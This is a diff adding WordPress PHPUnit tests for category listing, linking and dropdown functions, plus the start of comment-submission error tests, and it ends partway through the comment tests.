+++ /tags/5.0.20/tests/phpunit/tests/category/getCategories.php	(revision 56912)
@@ -0,0 +1,15 @@
+<?php
+
+/**
+ * @group taxonomy
+ * @group category.php
+ */
+class Tests_Category_GetCategories extends WP_UnitTestCase {
+	/**
+	 * @ticket 36227
+	 */
+	public function test_wp_error_should_return_an_empty_array() {
+		$found = get_categories( array( 'taxonomy' => 'foo' ) );
+		$this->assertSame( array(), $found );
+	}
+}
Index: /tags/5.0.20/tests/phpunit/tests/category/getCategoryLink.php
===================================================================
--- /tags/5.0.20/tests/phpunit/tests/category/getCategoryLink.php	(revision 56912)
+++ /tags/5.0.20/tests/phpunit/tests/category/getCategoryLink.php	(revision 56912)
@@ -0,0 +1,54 @@
+<?php
+
+/**
+ * @group taxonomy
+ * @covers ::get_category_link
+ */
+class Tests_Category_GetCategoryLink extends WP_UnitTestCase {
+	public function test_success() {
+		$c = self::factory()->category->create();
+
+		$found = get_category_link( $c );
+		$expected = home_url( '?cat=' . $c );
+
+		$this->assertSame( $expected, $found );
+	}
+
+	/**
+	 * @ticket 42771
+	 */
+	public function test_should_return_link_for_term_from_another_taxonomy_on_primed_cache() {
+		register_taxonomy( 'wptests_tax', 'post' );
+
+		$t = self::factory()->term->create( array(
+			'taxonomy' => 'wptests_tax',
+			'slug'     => 'test-term',
+		) );
+
+		$term = get_term( $t );
+
+		$found = get_category_link( $t );
+		$expected = home_url( '?wptests_tax=test-term' );
+
+		$this->assertSame( $expected, $found );
+	}
+
+	/**
+	 * @ticket 42771
+	 */
+	public function test_should_return_link_for_term_from_another_taxonomy_on_empty_cache() {
+		register_taxonomy( 'wptests_tax', 'post' );
+
+		$t = self::factory()->term->create( array(
+			'taxonomy' => 'wptests_tax',
+			'slug'     => 'test-term',
+		) );
+
+		clean_term_cache( $t );
+
+		$found = get_category_link( $t );
+		$expected = home_url( '?wptests_tax=test-term' );
+
+		$this->assertSame( $expected, $found );
+	}
+}
Index: /tags/5.0.20/tests/phpunit/tests/category/getCategoryParents.php
===================================================================
--- /tags/5.0.20/tests/phpunit/tests/category/getCategoryParents.php	(revision 56912)
+++ /tags/5.0.20/tests/phpunit/tests/category/getCategoryParents.php	(revision 56912)
@@ -0,0 +1,63 @@
+<?php
+
+/**
+ * @group taxonomy
+ */
+class Tests_Category_GetCategoryParents extends WP_UnitTestCase {
+	protected $c1;
+	protected $c2;
+
+	public function setUp() {
+		parent::setUp();
+
+		$this->c1 = self::factory()->category->create_and_get();
+		$this->c2 = self::factory()->category->create_and_get( array(
+			'parent' => $this->c1->term_id,
+		) );
+	}
+
+	public function test_should_return_wp_error_for_invalid_category() {
+		$this->assertWPError( get_category_parents( '' ) );
+	}
+
+	public function test_with_default_parameters() {
+		$expected = $this->c1->name . '/'. $this->c2->name . '/';
+		$found = get_category_parents( $this->c2->term_id );
+		$this->assertSame( $expected, $found );
+	}
+
+	public function test_link_true() {
+		$expected = '<a href="' . get_category_link( $this->c1->term_id ) . '">' . $this->c1->name . '</a>/<a href="' . get_category_link( $this->c2->term_id ) . '">'. $this->c2->name . '</a>/';
+		$found = get_category_parents( $this->c2->term_id, true );
+		$this->assertSame( $expected, $found );
+	}
+
+	public function test_separator() {
+		$expected = $this->c1->name . ' --- ' . $this->c2->name . ' --- ';
+		$found = get_category_parents( $this->c2->term_id, false, ' --- ', false );
+		$this->assertSame( $expected, $found );
+	}
+
+	public function test_nicename_false() {
+		$expected = $this->c1->name . '/'. $this->c2->name . '/';
+		$found = get_category_parents( $this->c2->term_id, false, '/', false );
+		$this->assertSame( $expected, $found );
+	}
+
+	public function test_nicename_true() {
+		$expected = $this->c1->slug . '/'. $this->c2->slug . '/';
+		$found = get_category_parents( $this->c2->term_id, false, '/', true );
+		$this->assertSame( $expected, $found );
+	}
+
+	public function test_deprecated_argument_visited() {
+		$this->setExpectedDeprecated( 'get_category_parents' );
+		$found = get_category_parents( $this->c2->term_id, false, '/', false, array( $this->c1->term_id ) );
+	}
+
+	public function test_category_without_parents() {
+		$expected = $this->c1->name . '/';
+		$found = get_category_parents( $this->c1->term_id );
+		$this->assertSame( $expected, $found );
+	}
+}
Index: /tags/5.0.20/tests/phpunit/tests/category/getTheCategoryById.php
===================================================================
--- /tags/5.0.20/tests/phpunit/tests/category/getTheCategoryById.php	(revision 56912)
+++ /tags/5.0.20/tests/phpunit/tests/category/getTheCategoryById.php	(revision 56912)
@@ -0,0 +1,53 @@
+<?php
+
+/**
+ * @group taxonomy
+ * @covers ::get_the_category_by_ID
+ */
+class Tests_Category_GetTheCategoryById extends WP_UnitTestCase {
+	public function test_success() {
+		$c = self::factory()->category->create( array(
+			'name' => 'Foo',
+		) );
+
+		$found = get_the_category_by_ID( $c );
+
+		$this->assertSame( 'Foo', $found );
+	}
+
+	/**
+	 * @ticket 42771
+	 */
+	public function test_should_return_link_for_term_from_another_taxonomy_on_primed_cache() {
+		register_taxonomy( 'wptests_tax', 'post' );
+
+		$t = self::factory()->term->create( array(
+			'taxonomy' => 'wptests_tax',
+			'name'     => 'Foo',
+		) );
+
+		$term = get_term( $t );
+
+		$found = get_the_category_by_ID( $t );
+
+		$this->assertSame( 'Foo', $found );
+	}
+
+	/**
+	 * @ticket 42771
+	 */
+	public function test_should_return_link_for_term_from_another_taxonomy_on_empty_cache() {
+		register_taxonomy( 'wptests_tax', 'post' );
+
+		$t = self::factory()->term->create( array(
+			'taxonomy' => 'wptests_tax',
+			'name'     => 'Foo',
+		) );
+
+		clean_term_cache( $t );
+
+		$found = get_the_category_by_ID( $t );
+
+		$this->assertSame( 'Foo', $found );
+	}
+}
Index: /tags/5.0.20/tests/phpunit/tests/category/wpDropdownCategories.php
===================================================================
--- /tags/5.0.20/tests/phpunit/tests/category/wpDropdownCategories.php	(revision 56912)
+++ /tags/5.0.20/tests/phpunit/tests/category/wpDropdownCategories.php	(revision 56912)
@@ -0,0 +1,224 @@
+<?php
+/**
+ * @group taxonomy
+ * @group category.php
+ */
+class Tests_Category_WpDropdownCategories extends WP_UnitTestCase {
+	/**
+	 * @ticket 30306
+	 */
+	public function test_wp_dropdown_categories_value_field_should_default_to_term_id() {
+		// Create a test category.
+		$cat_id	= self::factory()->category->create( array(
+			'name' => 'Test Category',
+			'slug' => 'test_category',
+		) );
+
+		// Get the default functionality of wp_dropdown_categories().
+		$dropdown_default = wp_dropdown_categories( array(
+			'echo' => 0,
+			'hide_empty' => 0,
+		) );
+
+		// Test to see if it returns the default with the category ID.
+		$this->assertContains( 'value="' . $cat_id . '"', $dropdown_default );
+	}
+
+	/**
+	 * @ticket 30306
+	 */
+	public function test_wp_dropdown_categories_value_field_term_id() {
+		// Create a test category.
+		$cat_id	= self::factory()->category->create( array(
+			'name' => 'Test Category',
+			'slug' => 'test_category',
+		) );
+
+		// Get the default functionality of wp_dropdown_categories().
+		$found = wp_dropdown_categories( array(
+			'echo' => 0,
+			'hide_empty' => 0,
+			'value_field' => 'term_id',
+		) );
+
+		// Test to see if it returns the default with the category ID.
+		$this->assertContains( 'value="' . $cat_id . '"', $found );
+	}
+
+	/**
+	 * @ticket 30306
+	 */
+	public function test_wp_dropdown_categories_value_field_slug() {
+		// Create a test category.
+		$cat_id	= self::factory()->category->create( array(
+			'name' => 'Test Category',
+			'slug' => 'test_category',
+		) );
+
+		// Get the default functionality of wp_dropdown_categories().
+		$found = wp_dropdown_categories( array(
+			'echo' => 0,
+			'hide_empty' => 0,
+			'value_field' => 'slug',
+		) );
+
+		// Test to see if it returns the default with the category slug.
+		$this->assertContains( 'value="test_category"', $found );
+	}
+
+	/**
+	 * @ticket 30306
+	 */
+	public function test_wp_dropdown_categories_value_field_should_fall_back_on_term_id_when_an_invalid_value_is_provided() {
+		// Create a test category.
+		$cat_id	= self::factory()->category->create( array(
+			'name' => 'Test Category',
+			'slug' => 'test_category',
+		) );
+
+		// Get the default functionality of wp_dropdown_categories().
+		$found = wp_dropdown_categories( array(
+			'echo' => 0,
+			'hide_empty' => 0,
+			'value_field' => 'foo',
+		) );
+
+		// Test to see if it returns the default with the category slug.
+		$this->assertContains( 'value="' . $cat_id . '"', $found );
+	}
+
+	/**
+	 * @ticket 32330
+	 */
+	public function test_wp_dropdown_categories_selected_should_respect_custom_value_field() {
+		$c1 = self::factory()->category->create( array(
+			'name' => 'Test Category 1',
+			'slug' => 'test_category_1',
+		) );
+
+		$c2 = self::factory()->category->create( array(
+			'name' => 'Test Category 2',
+			'slug' => 'test_category_2',
+		) );
+
+		$found = wp_dropdown_categories( array(
+			'echo' => 0,
+			'hide_empty' => 0,
+			'value_field' => 'slug',
+			'selected' => 'test_category_2',
+		) );
+
+		$this->assertContains( "value=\"test_category_2\" selected=\"selected\"", $found );
+	}
+
+	/**
+	 * @ticket 33452
+	 */
+	public function test_wp_dropdown_categories_show_option_all_should_be_selected_if_no_selected_value_is_explicitly_passed_and_value_field_does_not_have_string_values() {
+		$cats = self::factory()->category->create_many( 3 );
+
+		$found = wp_dropdown_categories( array(
+			'echo' => 0,
+			'hide_empty' => 0,
+			'show_option_all' => 'Foo',
+			'value_field' => 'slug',
+		) );
+
+		$this->assertContains( "value='0' selected='selected'", $found );
+
+		foreach ( $cats as $cat ) {
+			$_cat = get_term( $cat, 'category' );
+			$this->assertNotContains( 'value="' . $_cat->slug . '" selected="selected"', $found );
+		}
+	}
+
+	/**
+	 * @ticket 33452
+	 */
+	public function test_wp_dropdown_categories_show_option_all_should_be_selected_if_selected_value_of_0_string_is_explicitly_passed_and_value_field_does_not_have_string_values() {
+		$cats = self::factory()->category->create_many( 3 );
+
+		$found = wp_dropdown_categories( array(
+			'echo' => 0,
+			'hide_empty' => 0,
+			'show_option_all' => 'Foo',
+			'value_field' => 'slug',
+			'selected' => '0',
+		) );
+
+		$this->assertContains( "value='0' selected='selected'", $found );
+
+		foreach ( $cats as $cat ) {
+			$_cat = get_term( $cat, 'category' );
+			$this->assertNotContains( 'value="' . $_cat->slug . '" selected="selected"', $found );
+		}
+	}
+
+	/**
+	 * @ticket 31909
+	 */
+	public function test_required_true_should_add_required_attribute() {
+		// Create a test category.
+		$cat_id = self::factory()->category->create( array(
+			'name' => 'Test Category',
+			'slug' => 'test_category',
+		) );
+
+		$args = array(
+			'show_option_none'  => __( 'Select one', 'text-domain' ),
+			'option_none_value' => "",
+			'required'          => true,
+			'hide_empty'        => 0,
+			'echo'              => 0,
+		);
+		$dropdown_categories = wp_dropdown_categories( $args );
+
+		// Test to see if it contains the "required" attribute.
+		$this->assertRegExp( '/<select[^>]+required/', $dropdown_categories );
+	}
+
+	/**
+	 * @ticket 31909
+	 */
+	public function test_required_false_should_omit_required_attribute() {
+		// Create a test category.
+		$cat_id = self::factory()->category->create( array(
+			'name' => 'Test Category',
+			'slug' => 'test_category',
+		) );
+
+		$args = array(
+			'show_option_none'  => __( 'Select one', 'text-domain' ),
+			'option_none_value' => "",
+			'required'          => false,
+			'hide_empty'        => 0,
+			'echo'              => 0,
+		);
+		$dropdown_categories = wp_dropdown_categories( $args );
+
+		// Test to see if it contains the "required" attribute.
+		$this->assertNotRegExp( '/<select[^>]+required/', $dropdown_categories );
+	}
+
+	/**
+	 * @ticket 31909
+	 */
+	public function test_required_should_default_to_false() {
+		// Create a test category.
+		$cat_id = self::factory()->category->create( array(
+			'name' => 'Test Category',
+			'slug' => 'test_category',
+		) );
+
+		$args = array(
+			'show_option_none'  => __( 'Select one', 'text-domain' ),
+			'option_none_value' => "",
+			'hide_empty'        => 0,
+			'echo'              => 0,
+		);
+		$dropdown_categories = wp_dropdown_categories( $args );
+
+		// Test to see if it contains the "required" attribute.
+		$this->assertNotRegExp( '/<select[^>]+required/', $dropdown_categories );
+	}
+}
Index: /tags/5.0.20/tests/phpunit/tests/category/wpListCategories.php
===================================================================
--- /tags/5.0.20/tests/phpunit/tests/category/wpListCategories.php	(revision 56912)
+++ /tags/5.0.20/tests/phpunit/tests/category/wpListCategories.php	(revision 56912)
@@ -0,0 +1,442 @@
+<?php
+
+/**
+ * @group taxonomy
+ */
+class Tests_Category_WpListCategories extends WP_UnitTestCase {
+	public function test_class() {
+		$c = self::factory()->category->create();
+
+		$found = wp_list_categories( array(
+			'hide_empty' => false,
+			'echo' => false,
+		) );
+
+		$this->assertContains( 'class="cat-item cat-item-' . $c . '"', $found );
+	}
+
+	public function test_class_containing_current_cat() {
+		$c1 = self::factory()->category->create();
+		$c2 = self::factory()->category->create();
+
+		$found = wp_list_categories( array(
+			'hide_empty' => false,
+			'echo' => false,
+			'current_category' => $c2,
+		) );
+
+		$this->assertNotRegExp( '/class="[^"]*cat-item-' . $c1 . '[^"]*current-cat[^"]*"/', $found );
+		$this->assertRegExp( '/class="[^"]*cat-item-' . $c2 . '[^"]*current-cat[^"]*"/', $found );
+	}
+
+	public function test_class_containing_current_cat_parent() {
+		$c1 = self::factory()->category->create();
+		$c2 = self::factory()->category->create( array(
+			'parent' => $c1,
+		) );
+
+		$found = wp_list_categories( array(
+			'hide_empty' => false,
+			'echo' => false,
+			'current_category' => $c2,
+		) );
+
+		$this->assertRegExp( '/class="[^"]*cat-item-' . $c1 . '[^"]*current-cat-parent[^"]*"/', $found );
+		$this->assertNotRegExp( '/class="[^"]*cat-item-' . $c2 . '[^"]*current-cat-parent[^"]*"/', $found );
+	}
+
+	/**
+	 * @ticket 33565
+	 */
+	public function test_current_category_should_accept_an_array_of_ids() {
+		$cats = self::factory()->category->create_many( 3 );
+
+		$found = wp_list_categories( array(
+			'echo' => false,
+			'hide_empty' => false,
+			'current_category' => array( $cats[0], $cats[2] ),
+		) );
+
+		$this->assertRegExp( '/class="[^"]*cat-item-' . $cats[0] . '[^"]*current-cat[^"]*"/', $found );
+		$this->assertNotRegExp( '/class="[^"]*cat-item-' . $cats[1] . '[^"]*current[^"]*"/', $found );
+		$this->assertRegExp( '/class="[^"]*cat-item-' . $cats[2] . '[^"]*current-cat[^"]*"/', $found );
+	}
+
+	/**
+	 * @ticket 16792
+	 */
+	public function test_should_not_create_element_when_cat_name_is_filtered_to_empty_string() {
+		$c1 = self::factory()->category->create( array(
+			'name' => 'Test Cat 1',
+		) );
+		$c2 = self::factory()->category->create( array(
+			'name' => 'Test Cat 2',
+		) );
+
+		add_filter( 'list_cats', array( $this, 'list_cats_callback' ) );
+		$found = wp_list_categories( array(
+			'hide_empty' => false,
+			'echo' => false,
+		) );
+		remove_filter( 'list_cats', array( $this, 'list_cats_callback' ) );
+
+		$this->assertContains( "cat-item-$c2", $found );
+		$this->assertContains( 'Test Cat 2', $found );
+
+		$this->assertNotContains( "cat-item-$c1", $found );
+		$this->assertNotContains( 'Test Cat 1', $found );
+	}
+
+	public function list_cats_callback( $cat ) {
+		if ( 'Test Cat 1' === $cat ) {
+			return '';
+		}
+
+		return $cat;
+	}
+
+	/**
+	 * @ticket 44872
+	 */
+	public function test_should_create_element_when_cat_name_is_zero() {
+		$c = self::factory()->category->create(
+			array(
+				'name' => '0',
+			)
+		);
+
+		$found = wp_list_categories(
+			array(
+				'hide_empty' => false,
+				'echo'       => false,
+			)
+		);
+
+		$this->assertContains( "cat-item-$c", $found );
+		$this->assertContains( '0', $found );
+	}
+
+	public function test_show_option_all_link_should_go_to_home_page_when_show_on_front_is_false() {
+		$cats = self::factory()->category->create_many( 2 );
+
+		$found = wp_list_categories( array(
+			'echo' => false,
+			'show_option_all' => 'All',
+			'hide_empty' => false,
+			'taxonomy' => 'category',
+		) );
+
+		$this->assertContains( "<li class='cat-item-all'><a href='" . home_url( '/' ) . "'>All</a></li>", $found );
+	}
+
+	public function test_show_option_all_link_should_respect_page_for_posts() {
+		$cats = self::factory()->category->create_many( 2 );
+		$p = self::factory()->post->create( array( 'post_type' => 'page' ) );
+
+		update_option( 'show_on_front', 'page' );
+		update_option( 'page_for_posts', $p );
+
+		$found = wp_list_categories( array(
+			'echo' => false,
+			'show_option_all' => 'All',
+			'hide_empty' => false,
+			'taxonomy' => 'category',
+		) );
+
+		$this->assertContains( "<li class='cat-item-all'><a href='" . get_permalink( $p ) . "'>All</a></li>", $found );
+	}
+
+	/**
+	 * @ticket 21881
+	 */
+	public function test_show_option_all_link_should_link_to_post_type_archive_when_taxonomy_does_not_apply_to_posts() {
+		register_post_type( 'wptests_pt', array( 'has_archive' => true ) );
+		register_post_type( 'wptests_pt2', array( 'has_archive' => true ) );
+		register_taxonomy( 'wptests_tax', array( 'foo', 'wptests_pt', 'wptests_pt2' ) );
+
+		$terms = self::factory()->term->create_many( 2, array(
+			'taxonomy' => 'wptests_tax',
+		) );
+
+		$found = wp_list_categories( array(
+			'echo' => false,
+			'show_option_all' => 'All',
+			'hide_empty' => false,
+			'taxonomy' => 'wptests_tax',
+		) );
+
+		$pt_archive = get_post_type_archive_link( 'wptests_pt' );
+
+		$this->assertContains( "<li class='cat-item-all'><a href='" . $pt_archive . "'>All</a></li>", $found );
+	}
+
+	/**
+	 * @ticket 21881
+	 */
+	public function test_show_option_all_link_should_not_link_to_post_type_archive_if_has_archive_is_false() {
+		register_post_type( 'wptests_pt', array( 'has_archive' => false ) );
+		register_post_type( 'wptests_pt2', array( 'has_archive' => true ) );
+		register_taxonomy( 'wptests_tax', array( 'foo', 'wptests_pt', 'wptests_pt2' ) );
+
+		$terms = self::factory()->term->create_many( 2, array(
+			'taxonomy' => 'wptests_tax',
+		) );
+
+		$found = wp_list_categories( array(
+			'echo' => false,
+			'show_option_all' => 'All',
+			'hide_empty' => false,
+			'taxonomy' => 'wptests_tax',
+		) );
+
+		$pt_archive = get_post_type_archive_link( 'wptests_pt2' );
+
+		$this->assertContains( "<li class='cat-item-all'><a href='" . $pt_archive . "'>All</a></li>", $found );
+	}
+
+	public function test_show_option_all_link_should_link_to_post_archive_if_available() {
+		register_post_type( 'wptests_pt', array( 'has_archive' => true ) );
+		register_post_type( 'wptests_pt2', array( 'has_archive' => true ) );
+		register_taxonomy( 'wptests_tax', array( 'foo', 'wptests_pt', 'post', 'wptests_pt2' ) );
+
+		$terms = self::factory()->term->create_many( 2, array(
+			'taxonomy' => 'wptests_tax',
+		) );
+
+		$found = wp_list_categories( array(
+			'echo' => false,
+			'show_option_all' => 'All',
+			'hide_empty' => false,
+			'taxonomy' => 'wptests_tax',
+		) );
+
+		$url = home_url( '/' );
+
+		$this->assertContains( "<li class='cat-item-all'><a href='" . $url . "'>All</a></li>", $found );
+	}
+
+	public function test_show_option_all_link_should_link_to_post_archive_if_no_associated_post_types_have_archives() {
+		register_post_type( 'wptests_pt', array( 'has_archive' => false ) );
+		register_post_type( 'wptests_pt2', array( 'has_archive' => false ) );
+		register_taxonomy( 'wptests_tax', array( 'foo', 'wptests_pt', 'wptests_pt2' ) );
+
+		$terms = self::factory()->term->create_many( 2, array(
+			'taxonomy' => 'wptests_tax',
+		) );
+
+		$found = wp_list_categories( array(
+			'echo' => false,
+			'show_option_all' => 'All',
+			'hide_empty' => false,
+			'taxonomy' => 'wptests_tax',
+		) );
+
+		$url = home_url( '/' );
+
+		$this->assertContains( "<li class='cat-item-all'><a href='" . $url . "'>All</a></li>", $found );
+	}
+
+	/**
+	 * @ticket 33460
+	 */
+	public function test_title_li_should_be_shown_by_default_for_empty_lists() {
+		$found = wp_list_categories( array(
+			'echo' => false,
+		) );
+
+		$this->assertContains( '<li class="categories">Categories', $found );
+	}
+
+	/**
+	 * @ticket 33460
+	 */
+	public function test_hide_title_if_empty_should_be_respected_for_empty_lists_when_true() {
+		$found = wp_list_categories( array(
+			'echo' => false,
+			'hide_title_if_empty' => true,
+		) );
+
+		$this->assertNotContains( '<li class="categories">Categories', $found );
+	}
+
+	/**
+	 * @ticket 33460
+	 */
+	public function test_hide_title_if_empty_should_be_respected_for_empty_lists_when_false() {
+		$found = wp_list_categories( array(
+			'echo' => false,
+			'hide_title_if_empty' => false,
+		) );
+
+		$this->assertContains( '<li class="categories">Categories', $found );
+	}
+
+	/**
+	 * @ticket 33460
+	 */
+	public function test_hide_title_if_empty_should_be_ignored_when_category_list_is_not_empty() {
+		$cat = self::factory()->category->create();
+
+		$found = wp_list_categories( array(
+			'echo' => false,
+			'hide_empty' => false,
+			'hide_title_if_empty' => true,
+		) );
+
+		$this->assertContains( '<li class="categories">Categories', $found );
+	}
+
+	/**
+	 * @ticket 38839
+	 */
+	public function test_hide_title_if_empty_should_not_output_stray_closing_tags() {
+		$cat = self::factory()->category->create();
+
+		$found = wp_list_categories( array(
+			'echo' => false,
+			'show_option_none' => '',
+			'child_of' => 1,
+			'hide_title_if_empty' => true,
+		) );
+
+		$this->assertNotContains( '</ul></li>', $found );
+	}
+
+	/**
+	 * @ticket 12981
+	 */
+	public function test_exclude_tree_should_be_respected() {
+		$c = self::factory()->category->create();
+		$parent = self::factory()->category->create( array( 'name' => 'Parent', 'slug' => 'parent' ) );
+		$child = self::factory()->category->create( array( 'name' => 'Child', 'slug' => 'child', 'parent' => $parent ) );
+
+		$args = array( 'echo' => 0, 'hide_empty' => 0, 'exclude_tree' => $parent );
+
+		$actual = wp_list_categories( $args );
+
+		$this->assertNotContains( '<li class="cat-item cat-item-' . $parent . '">', $actual );
+
+		$this->assertNotContains( '<li class="cat-item cat-item-' . $child . '">', $actual );
+	}
+
+	/**
+	 * @ticket 12981
+	 */
+	public function test_exclude_tree_should_be_merged_with_exclude() {
+		$c = self::factory()->category->create();
+		$parent = self::factory()->category->create( array( 'name' => 'Parent', 'slug' => 'parent' ) );
+		$child = self::factory()->category->create( array( 'name' => 'Child', 'slug' => 'child', 'parent' => $parent ) );
+		$parent2 = self::factory()->category->create( array( 'name' => 'Parent', 'slug' => 'parent2' ) );
+		$child2 = self::factory()->category->create( array( 'name' => 'Child', 'slug' => 'child2', 'parent' => $parent2 ) );
+
+		$args = array( 'echo' => 0, 'hide_empty' => 0, 'exclude_tree' => $parent );
+
+		$actual = wp_list_categories( array(
+			'echo' => 0,
+			'hide_empty' => 0,
+			'exclude' => $parent,
+			'exclude_tree' => $parent2,
+		) );
+
+		$this->assertNotContains( '<li class="cat-item cat-item-' . $parent . '">', $actual );
+		$this->assertNotContains( '<li class="cat-item cat-item-' . $parent2 . '">', $actual );
+		$this->assertNotContains( '<li class="cat-item cat-item-' . $child . '">', $actual );
+
+		$this->assertNotContains( '<li class="cat-item cat-item-' . $child2 . '">', $actual );
+	}
+
+	/**
+	 * @ticket 35156
+	 */
+	public function test_comma_separated_exclude_tree_should_be_merged_with_exclude() {
+		$c = self::factory()->category->create();
+		$parent = self::factory()->category->create( array( 'name' => 'Parent', 'slug' => 'parent' ) );
+		$child = self::factory()->category->create( array( 'name' => 'Child', 'slug' => 'child', 'parent' => $parent ) );
+		$parent2 = self::factory()->category->create( array( 'name' => 'Parent', 'slug' => 'parent2' ) );
+		$child2 = self::factory()->category->create( array( 'name' => 'Child', 'slug' => 'child2', 'parent' => $parent2 ) );
+		$parent3 = self::factory()->category->create( array( 'name' => 'Parent', 'slug' => 'parent3' ) );
+		$child3 = self::factory()->category->create( array( 'name' => 'Child', 'slug' => 'child3', 'parent' => $parent3 ) );
+		$parent4 = self::factory()->category->create( array( 'name' => 'Parent', 'slug' => 'parent4' ) );
+		$child4 = self::factory()->category->create( array( 'name' => 'Child', 'slug' => 'child4', 'parent' => $parent4 ) );
+
+
+		$args = array( 'echo' => 0, 'hide_empty' => 0, 'exclude_tree' => $parent );
+
+		$actual = wp_list_categories( array(
+			'echo' => 0,
+			'hide_empty' => 0,
+			'exclude' => "$parent,$parent2",
+			'exclude_tree' => "$parent3,$parent4",
+		) );
+
+		$this->assertContains( '<li class="cat-item cat-item-' . $c . '">', $actual );
+
+		$this->assertNotContains( '<li class="cat-item cat-item-' . $parent . '">', $actual );
+		$this->assertNotContains( '<li class="cat-item cat-item-' . $parent2 . '">', $actual );
+		$this->assertNotContains( '<li class="cat-item cat-item-' . $child . '">', $actual );
+		$this->assertNotContains( '<li class="cat-item cat-item-' . $child2 . '">', $actual );
+
+		$this->assertNotContains( '<li class="cat-item cat-item-' . $parent3 . '">', $actual );
+		$this->assertNotContains( '<li class="cat-item cat-item-' . $parent4 . '">', $actual );
+		$this->assertNotContains( '<li class="cat-item cat-item-' . $child3 . '">', $actual );
+		$this->assertNotContains( '<li class="cat-item cat-item-' . $child4 . '">', $actual );
+	}
+
+	/**
+	 * @ticket 35156
+	 */
+	public function test_array_exclude_tree_should_be_merged_with_exclude() {
+		$c = self::factory()->category->create();
+		$parent = self::factory()->category->create( array( 'name' => 'Parent', 'slug' => 'parent' ) );
+		$child = self::factory()->category->create( array( 'name' => 'Child', 'slug' => 'child', 'parent' => $parent ) );
+		$parent2 = self::factory()->category->create( array( 'name' => 'Parent', 'slug' => 'parent2' ) );
+		$child2 = self::factory()->category->create( array( 'name' => 'Child', 'slug' => 'child2', 'parent' => $parent2 ) );
+		$parent3 = self::factory()->category->create( array( 'name' => 'Parent', 'slug' => 'parent3' ) );
+		$child3 = self::factory()->category->create( array( 'name' => 'Child', 'slug' => 'child3', 'parent' => $parent3 ) );
+		$parent4 = self::factory()->category->create( array( 'name' => 'Parent', 'slug' => 'parent4' ) );
+		$child4 = self::factory()->category->create( array( 'name' => 'Child', 'slug' => 'child4', 'parent' => $parent4 ) );
+
+
+		$args = array( 'echo' => 0, 'hide_empty' => 0, 'exclude_tree' => $parent );
+
+		$actual = wp_list_categories( array(
+			'echo' => 0,
+			'hide_empty' => 0,
+			'exclude' => array( $parent, $parent2 ),
+			'exclude_tree' => array( $parent3, $parent4 ),
+		) );
+
+		$this->assertContains( '<li class="cat-item cat-item-' . $c . '">', $actual );
+
+		$this->assertNotContains( '<li class="cat-item cat-item-' . $parent . '">', $actual );
+		$this->assertNotContains( '<li class="cat-item cat-item-' . $parent2 . '">', $actual );
+		$this->assertNotContains( '<li class="cat-item cat-item-' . $child . '">', $actual );
+		$this->assertNotContains( '<li class="cat-item cat-item-' . $child2 . '">', $actual );
+
+		$this->assertNotContains( '<li class="cat-item cat-item-' . $parent3 . '">', $actual );
+		$this->assertNotContains( '<li class="cat-item cat-item-' . $parent4 . '">', $actual );
+		$this->assertNotContains( '<li class="cat-item cat-item-' . $child3 . '">', $actual );
+		$this->assertNotContains( '<li class="cat-item cat-item-' . $child4 . '">', $actual );
+	}
+
+	/**
+	 * @ticket 10676
+	 */
+	public function test_class_containing_current_cat_ancestor() {
+		$parent = self::factory()->category->create( array( 'name' => 'Parent', 'slug' => 'parent' ) );
+		$child = self::factory()->category->create( array( 'name' => 'Child', 'slug' => 'child', 'parent' => $parent ) );
+		$child2 = self::factory()->category->create( array( 'name' => 'Child 2', 'slug' => 'child2', 'parent' => $parent ) );
+		$grandchild = self::factory()->category->create( array( 'name' => 'Grand Child', 'slug' => 'child', 'parent' => $child ) );
+
+		$actual = wp_list_categories( array(
+			'echo'             => 0,
+			'hide_empty'       => false,
+			'current_category' => $grandchild,
+		) );
+
+		$this->assertRegExp( '/class="[^"]*cat-item-' . $parent . '[^"]*current-cat-ancestor[^"]*"/', $actual );
+		$this->assertRegExp( '/class="[^"]*cat-item-' . $child . '[^"]*current-cat-ancestor[^"]*"/', $actual );
+		$this->assertNotRegExp( '/class="[^"]*cat-item-' . $grandchild . '[^"]*current-cat-ancestor[^"]*"/', $actual );
+		$this->assertNotRegExp( '/class="[^"]*cat-item-' . $child2 . '[^"]*current-cat-ancestor[^"]*"/', $actual );
+	}
+}
Index: /tags/5.0.20/tests/phpunit/tests/comment-submission.php
===================================================================
--- /tags/5.0.20/tests/phpunit/tests/comment-submission.php	(revision 56912)
+++ /tags/5.0.20/tests/phpunit/tests/comment-submission.php	(revision 56912)
@@ -0,0 +1,813 @@
+<?php
+
+/**
+ * @group comment
+ */
+class Tests_Comment_Submission extends WP_UnitTestCase {
+
+	protected $preprocess_comment_data = array();
+
+	function setUp() {
+		parent::setUp();
+		require_once ABSPATH . WPINC . '/class-phpass.php';
+	}
+
+	public function test_submitting_comment_to_invalid_post_returns_error() {
+		$error = 'comment_id_not_found';
+
+		$this->assertSame( 0, did_action( $error ) );
+
+		$data = array(
+			'comment_post_ID' => 0,
+		);
+		$comment = wp_handle_comment_submission( $data );
+
+		$this->assertSame( 1, did_action( $error ) );
+		$this->assertWPError( $comment );
+		$this->assertSame( $error, $comment->get_error_code() );
+
+	}
+
+	public function test_submitting_comment_to_post_with_closed_comments_returns_error() {
+
+		$error = 'comment_closed';
+
+		$this->assertSame( 0, did_action( $error ) );
+
+		$post = self::factory()->post->create_and_get( array(
+			'comment_status' => 'closed',
+		) );
+		$data = array(
+			'comment_post_ID' => $post->ID,
+		);
+		$comment = wp_handle_comment_submission( $data );
+
+		$this->assertSame( 1, did_action( $error ) );
+		$this->assertWPError( $comment );
+		$this->assertSame( $error, $comment->get_error_code() );
+
+	}
+
+	public function test_submitting_comment_to_trashed_post_returns_error() {
+
+		$error = 'comment_on_trash';
+
+		$this->assertSame( 0, did_action( $error ) );
+
+		$post = self::factory()->post->create_and_get();
+		wp_trash_post( $post->ID );
+		$data = array(
+			'comment_post_ID' => $post->ID,
+		);
+		$comment = wp_handle_comment_submission( $data );
+
+		$this->assertSame( 1, did_action( $error ) );
+		$this->assertWPError( $comment );
+		$this->assertSame( $error, $comment->get_error_code() );
+
+	}
+
+	public function test_submitting_comment_to_draft_post_returns_error() {
+		$error = 'comment_on_draft';
+
+		$this->assertSame( 0, did_action( $error ) );
+
+		$post = self::factory()->post->create_and_get( array(
+			'post_status' => 'draft',
+		) );
+		$data = array(
+			'comment_post_ID' => $post->ID,
+		);
+		$comment = wp_handle_comment_submission( $data );
+
+		$this->assertSame( 1, did_action( $error ) );
+		$this->assertWPError( $comment );
+		$this->assertSame( $error, $comment->get_error_code() );
+		$this->assertEmpty( $comment->get_error_message() );
+
+	}
+
+	/**
+	 * @ticket 39650
+	 */
